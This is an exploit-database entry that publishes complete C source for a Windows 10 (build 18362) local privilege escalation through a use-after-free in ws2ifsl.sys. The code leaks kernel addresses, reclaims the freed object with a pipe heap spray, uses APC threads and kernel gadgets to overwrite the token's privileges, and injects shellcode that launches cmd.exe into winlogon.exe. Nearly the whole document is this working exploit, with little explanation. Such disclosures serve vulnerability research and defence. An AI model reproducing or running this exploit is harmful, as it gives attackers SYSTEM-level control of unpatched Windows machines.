Microsoft Windows 10 (19H1 1901 x64) ws2ifsl.sys Use After Free Local Privilege Escalation (kASLR kCFG SMEP)

2020.01.21
Credit: Anonymous
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

/* The exploit works on 19H1. It was tested with ntoskrnl version 10.0.18362.295 */ #include <Windows.h> #include <stdio.h> #include <string> #include <ntstatus.h> #include <processthreadsapi.h> #include <winternl.h> #include <tlhelp32.h> #pragma comment(lib, "ntdll.lib") // run cmd.exe unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ "\x78\x65\x00"; static const unsigned int shellcode_len = 0x1000; #define MAXIMUM_FILENAME_LENGTH 255 #define SystemModuleInformation 0xb #define SystemHandleInformation 0x10 typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; void* Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handels[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; #ifdef _WIN64 ULONG Reserved3; #endif PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; CHAR Name[MAXIMUM_FILENAME_LENGTH]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; // exploit specific type information typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; // +0x0 UCHAR Flags; // +4 UCHAR EaNameLength; // +5 USHORT EaValueLength; // +6 CHAR EaName[1]; // +9 } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; typedef struct _PROC_DATA { HANDLE apcthread; // +0x0 void* unknown1; // +0x8 void* unknown2; // +0x10 void* unknown3; // +0x18 void* unknown4; // +0x20 } PROC_DATA, * PPROC_DATA; typedef struct _SOCK_DATA { HANDLE unknown; // +0x0 HANDLE procDataHandle; // +0x8 } SOCK_DATA, * PSOCK_DATA; // undocumented apis definitions typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG key); typedef NTSTATUS(WINAPI* NtTestAlert_t)(void); typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation); // resolved function pointers at runtime NtTestAlert_t g_NtTestAlert = 0; NtWriteFile_t g_NtWriteFile = 0; RtlGetVersion_t g_RtlGetVersion = 0; HANDLE g_Event1 = NULL; HANDLE g_Event2 = NULL; HANDLE g_Event3 = NULL; int g_done1 = 0; int g_done2 = 0; #define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset #define OFFSET_LINKEDLIST 0xA8 //kthread apc offset // generic helper function void InjectToWinlogon() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int pid = -1; if (Process32First(snapshot, &entry)) { while (Process32Next(snapshot, &entry)) { if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); if (pid < 0) { printf("Could not find process\n"); return; } HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!h) { printf("Could not open process: %x", GetLastError()); return; } void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!buffer) { printf("[-] VirtualAllocEx failed\n"); } if (!buffer) { printf("[-] remote allocation failed"); return; } if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0)) { printf("[-] WriteProcessMemory failed"); return; } HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0); if (hthread == INVALID_HANDLE_VALUE) { printf("[-] CreateRemoteThread failed"); return; } } HMODULE GetNOSModule() { HMODULE hKern = 0; hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); return hKern; } DWORD64 GetModuleAddr(const char* modName) { PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20); DWORD outBuffer = 0; NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer); if (status == STATUS_INFO_LENGTH_MISMATCH) { free(buffer); buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer); status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer); } if (!buffer) { printf("[-] NtQuerySystemInformation error\n"); return 0; } for (unsigned int i = 0; i < buffer->ModulesCount; i++) { PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress; PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name; if (_stricmp(kernelImage, modName) == 0) { free(buffer); return (DWORD64)kernelImageBase; } } free(buffer); return 0; } DWORD64 GetKernelPointer(HANDLE handle, DWORD type) { PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20); DWORD outBuffer = 0; NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); if (status == STATUS_INFO_LENGTH_MISMATCH) { free(buffer); buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer); status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer); } if (!buffer) { printf("[-] NtQuerySystemInformation error \n"); return 0; } for (size_t i = 0; i < buffer->NumberOfHandles; i++) { DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber; if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type) { if (handle == (HANDLE)buffer->Handels[i].Handle) { //printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle); DWORD64 object = (DWORD64)buffer->Handels[i].Object; free(buffer); return object; } } } printf("[-] handle not found\n"); free(buffer); return 0; } DWORD64 GetGadgetAddr(const char* name) { DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe"); HMODULE mod = GetNOSModule(); if (!mod) { printf("[-] leaking ntoskrnl version\n"); return 0; } DWORD64 offset = (DWORD64)GetProcAddress(mod, name); DWORD64 returnValue = base + offset - (DWORD64)mod; FreeLibrary(mod); return returnValue; } /* After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer, which will call our gadget function and write the first 8 bytes. */ DWORD WINAPI APCThread1(LPVOID lparam) { SetEvent(g_Event1); while (1) { if (g_done1) { printf("[+] triggering first APC execution\n"); g_NtTestAlert(); while (1) { Sleep(0x1000); } } else { Sleep(1); } } return 0; } /* After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes. After that the shellcode is injected into the system process. */ DWORD WINAPI APCThread2(LPVOID lparam) { SetEvent(g_Event2); while (1) { if (g_done2) { printf("[+] triggering second APC execution\n"); g_NtTestAlert(); InjectToWinlogon(); SetEvent(g_Event3); while (1) { Sleep(0x1000); } } else { Sleep(1); } } return 0; } HANDLE CreateSocketHandle(HANDLE procHandle) { HANDLE fileHandle = 0; UNICODE_STRING deviceName; OBJECT_ATTRIBUTES object; IO_STATUS_BLOCK IoStatusBlock; RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct"); InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL); FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA)); if (!eaBuffer) { printf("[-] malloc error\n"); return fileHandle; } eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsSct") - 1; eaBuffer->EaValueLength = sizeof(SOCK_DATA); RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1); SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4); eaData->unknown = (void*) 0x242424224; eaData->procDataHandle = (void*) procHandle; NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA)); if (status != STATUS_SUCCESS) { printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; } free(eaBuffer); return fileHandle; } HANDLE CreateProcessHandle(HANDLE hAPCThread) { HANDLE fileHandle = 0; UNICODE_STRING deviceName; OBJECT_ATTRIBUTES object; IO_STATUS_BLOCK IoStatusBlock; RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd"); InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL); FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA)); if (!eaBuffer) { printf("[-] malloc error\n"); return fileHandle; } eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsPvd") - 1; eaBuffer->EaValueLength = sizeof(PROC_DATA); RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1); PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4); if (!hAPCThread) { printf("[-] error thread not found\n"); free(eaBuffer); return 0; } eaData->apcthread = (void*) hAPCThread; // thread must be in current process eaData->unknown1 = (void*) 0x2222222; // APC Routine eaData->unknown2 = (void*) 0x3333333; // cancel Rundown Routine eaData->unknown3 = (void*) 0x4444444; eaData->unknown4 = (void*) 0x5555555; NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA)); if (status != STATUS_SUCCESS) { printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; } free(eaBuffer); return fileHandle; } int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress) { DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop"); if (!nopPointer) { printf("[-] SeSetAccessStateGenericMapping not found\n"); return 0; } DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping"); if (!funPointer) { printf("[-] SeSetAccessStateGenericMapping not found\n"); return 0; } UCHAR payload[0x120 - 0x48]; memset(payload, 0x0, sizeof(payload)); DWORD64 x = 0x41414141414141; memcpy(payload, &x, 8); x = 0x12121212; memcpy(payload + 8, &x, 8); x = kthreadAddress + OFFSET_LINKEDLIST; // apc linked list memcpy(payload + 0x10, &x, 8); x = kthreadAddress + OFFSET_LINKEDLIST; memcpy(payload + 0x18, &x, 8); x = funPointer; memcpy(payload + 0x20, &x, 8); // this is the RIP we want to execute, in case of NtTestAlert x = nopPointer; memcpy(payload + 0x28, &x, 8); // this is the RIP we want to execute, in case of rundown routine x = 0xffffffffffffffff; // this is to be written memcpy(payload + 0x30, &x, 8); x = 0xffffffffffffffff; // this is to be written, but it gets changed.. memcpy(payload + 0x38, &x, 8); x = 0x2424242424242424; memcpy(payload + 0x40, &x, 8); x = writeAddress; // this is where to write memcpy(payload + 0x48, &x, 8); for (size_t i = 0; i < 0x70; i++) { HANDLE readPipe; HANDLE writePipe; DWORD resultLength = 0; BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload)); if (!res) { printf("[-] error creating pipe\n"); return 0; } res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL); } return 1; } /* This function will trigger the use after free in ws2ifsl.sys and will try to reallocate the buffer with controlled content. */ void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id) { HANDLE procHandle = CreateProcessHandle(threadHandle); printf("[!] procHandle %x\n", (DWORD)procHandle); HANDLE sockHandle = CreateSocketHandle(procHandle); printf("[!] sockHandle %x\n", (DWORD)sockHandle); char* readBuffer = (char*)malloc(0x100); DWORD bytesRead = 0; IO_STATUS_BLOCK io; LARGE_INTEGER byteOffset; byteOffset.HighPart = 0; byteOffset.LowPart = 0; byteOffset.QuadPart = 0; byteOffset.u.LowPart = 0; byteOffset.u.HighPart = 0; ULONG key = 0; CloseHandle(procHandle); NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key); // this close the objecte and we trigger the use after free CloseHandle(sockHandle); // this spray will reclaim the buffer if (!DoHeapSpray(writeAddress, kthreadAddress)) { printf("[-] error doHeapSpray\n"); return; } if (id == 1) { g_done1 = 1; } if (id == 2) { g_done2 = 1; } printf("[+] done\n"); Sleep(0x20); free(readBuffer); return; } /* This function resolves all function pointer for native api calls. */ bool InitFunctionPointers() { HMODULE hNtDll = NULL; hNtDll = LoadLibrary("ntdll.dll"); if (!hNtDll) { printf("error\n"); return false; } g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert"); if (!g_NtTestAlert) { printf("error\n"); return false; } g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile"); if (!g_NtWriteFile) { printf("[-] GetProcAddress() NtWriteFile failed.\n"); return false; } g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion"); if (!g_NtWriteFile) { printf("[-] GetProcAddress() RtlGetVersion failed.\n"); return false; } return true; } int main() { // intialize event for thread synchronization g_Event1 = CreateEvent(0, 0, 0, 0); g_Event2 = CreateEvent(0, 0, 0, 0); g_Event3 = CreateEvent(0, 0, 0, 0); if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1) { printf("[-] CreateEvent failed\n"); return 0; } if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2) { printf("[-] CreateEvent failed\n"); return 0; } if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2) { printf("[-] CreateEvent failed\n"); return 0; } if (!InitFunctionPointers()) { printf("[-] InitFunctionPointers failed\n"); return 0; } HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (!proc) { printf("[-] OpenProcess failed\n"); return 0; } HANDLE token = 0; if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[-] OpenProcessToken failed\n"); return 0; } DWORD64 ktoken = GetKernelPointer(token, 0x5); DWORD64 where = ktoken + TOKEN_OFFSET; printf("[+] found token at: %p\n", (DWORD64) ktoken); // check the supported version of this exploit, otherwise we would crash RTL_OSVERSIONINFOW osversion; g_RtlGetVersion(&osversion); if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362) { printf("[+] version supported\n"); } else { printf("[-] sorry version not supported\n"); return 0; } HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0); if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1) { printf("[-] error CreateThread\n"); return 0; } HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0); if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2) { printf("[-] error CreateThread\n"); return 0; } DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8); if (!threadAddrAPC1) { printf("[-] GetKernelPointer error \n"); return 0; } DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8); if (!threadAddrAPC2) { printf("[-] GetKernelPointer error \n"); return 0; } // wait for threads to be initialized WaitForSingleObject(g_Event1, -1); WaitForSingleObject(g_Event2, -1); TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1); TriggerBug(hAPCThread2, where, threadAddrAPC2, 2); WaitForSingleObject(g_Event3, -1); ExitProcess(0); return 0; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top